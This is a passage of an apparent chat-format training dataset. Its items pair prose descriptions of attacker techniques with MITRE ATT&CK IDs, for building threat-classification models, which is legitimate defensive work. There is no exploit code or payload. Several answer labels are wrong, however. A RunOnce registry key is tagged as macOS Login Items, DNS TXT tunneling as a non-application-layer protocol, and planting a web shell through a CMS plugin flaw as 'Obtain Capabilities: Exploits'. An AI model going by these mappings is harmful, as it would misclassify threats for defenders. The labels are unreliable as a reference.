                "content": "The intruder executed gpresult /SCOPE:computer /R on several endpoints to gather detailed Group Policy configuration data."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor installs a backdoor on a DNS resolver to intercept and log DNS queries for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group modifies the LastWriteTime of its payload files to blend in with normal system activity."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used privileged access to SSH into a Kubernetes node and queried the etcd data store to extract cloud secret values."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access trojan captures the current audio output from speakers."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the Services registry, the threat disables the 'Windows Event Log' service, preventing log collection."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a Google Workspace admin account to access corporate resources and modify settings."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cross-site scripting (XSS) for stealing user session data"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses SSDP discovery requests with a spoofed IP address to reflect and amplify traffic towards the target, resulting in a denial‑of‑service condition."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor leverages OAuth tokens harvested from a compromised application to access Confluence data through the API without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the host's container runtime to assemble an image from a compromised repository, then pushes it to a private registry."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the Windows \"RunOnce\" registry key to execute a payload after the next login."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a malicious shared object in a directory searched earlier in the library path, the malware hijacks the dynamic linker to run its code."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor alters the Image File Execution Options for a legitimate binary, inserting a command to run a hidden backdoor whenever the binary is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a valid access token from a logged‑in user and uses it to access sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal sets up a new server in a bullet‑proof hosting provider to host illicit marketplaces."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deployed a malicious QR code that, when scanned, logged the victim into their Reddit account on the attacker’s device."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes a persistent foothold by installing a malicious TFTP boot script that executes every time the system performs a hardware reset."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker parses the Firefox \"key4.db\" file to recover encrypted login credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised flash drive is left in a public area; when a user plugs it in and opens a disguised .rar file, the contained malicious executable is executed."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'runas' command in the Windows command shell to elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows API to construct command strings via concatenation of random strings, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker splits large data sets into multiple transfers below a threshold to bypass data loss prevention."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise tool writes a new function into the user's .profile that triggers a reverse shell when the user logs in interactively."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the 'net use' command to connect to remote administrative shares and copy malware across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a sequence of compromised VPN endpoints as proxies, chaining them to obscure the final destination of the malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses custom-crafted IP packets to transfer stolen credentials, avoiding any higher-level protocol signatures."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group infiltrates a consulting firm linked to the target and extracts data about the target's business relationships and shared clients."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses PowerShell to retrieve the minimum password length via Get-ADDefaultDomainPasswordPolicy."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses the Windows System32\\spool\\drivers\\x64\\3\\termsrv.dll to hide its C2 communications inside RDP traffic."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed a supply chain attack by compromising a software vendor’s build server, inserting a backdoor into the signed installer."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed command sequences within harmless‑looking strings and use runtime parsing to reconstruct them on the fly."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs a UI spoofing technique, presenting a counterfeit form to harvest user input."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains credentials for a local user and authenticates to the system without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor collected all local email cache files, including .pst and .ost, before archiving them."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abuses an unpatched SSH service by delivering a specially crafted authentication request that triggers arbitrary code execution."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the CMSTP system binary, the malware proxies its code execution to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a public transportation agency’s website and add a drive‑by payload that exploits an outdated Flash plugin, installing spyware on any visitor’s system."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the filename of 'cmd.exe' with 'notepad.exe' in order to blend in with normal system processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects code directly into the memory of a legitimate process to hijack its execution flow."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies an existing systemd timer to include a malicious command line argument that initiates ransomware encryption."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool sets the TLS Server Name Indication to a popular streaming service while directing the HTTP Host header to a malicious endpoint, effectively using domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes the harvested data to an offline cache on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a fake explorer.exe process that is listed as a child of the Windows Explorer parent, allowing it to masquerade within the process hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a file with a cleared \"Zone.Identifier\" ADS, subverting trust controls by erasing the Mark‑of‑the‑Web metadata."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is concealed within image files using steganographic methods, allowing it to execute after the image is opened."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host compresses logs and exfiltrates them via a cloud storage service using stolen API credentials."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reads the Event Log channel 'Microsoft-Windows-Sysmon/Operational' to discover process creation events."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor encodes command-and-control configuration data in environment variables, which are read by a fileless loader."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes a command‑and‑control beacon inside a video file posted to a video‑sharing platform, allowing the victim to download the hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses cron jobs on a compromised Linux server to execute a data exfiltration script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell's Set-GPRegistryValue cmdlet, the attacker changed the \"AlwaysInstallElevated\" registry setting in the Domain Policy to allow non‑admin users to install software with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses a CVE in a popular content management system plugin to inject a web shell onto the victim's server."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a domain's SSL certificate renewal process to obtain a fraudulent certificate and impersonate the site."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used Visual Basic for Applications (VBA) macros to launch a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a new cron job in /etc/cron.d to execute a malicious PowerShell script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executing SMB enumeration to list shared folders and permissions on Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates the TACACS+ server settings on a compromised device, redirecting authentication requests to a controlled server."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the registry to retrieve the computer's DNS server configuration."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script is placed in the %USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup folder and linked to the user's logon script, providing persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors drop a rogue DLL in the same folder as a target application, exploiting the DLL search order to have it loaded before the legitimate library."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by tunneling it through DNS TXT record queries, using the DNS protocol as a covert communication method."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command-and-control server expects data in a base64url format to conceal the content."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that captures and uploads the victim’s Windows domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious build script leverages msbuild's ability to run custom DLLs, leading to privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator uses task manager or handle duplication to obtain LSASS memory and siphon passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed hidden data within image files using steganography to conceal payloads."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware compresses and encrypts data into a custom encoding format to hide payloads during transfer."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a ROT13 transformation on command‑and‑control messages before processing them."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploads stolen files to an attacker-controlled AWS S3 bucket using the compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the /etc/cron.hourly directory by placing a malicious bash script that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerable service to execute endless loops that consume all available processing power on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary hijacks a legitimate software vendor’s update mechanism to distribute a malicious binary to all downstream customers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script utilizes ptrace to perform remote code injection: it first attaches to a target binary, writes the payload into its stack, and then sets the program counter to the injected payload address."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a phishing email, the attacker obtained credentials and then set up an email delegate for the compromised account through the Exchange admin portal."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending malformed packets to a vulnerable network service on the host, the attacker induces a denial of service on the endpoint."
            },
            {
                "role": "assistant",
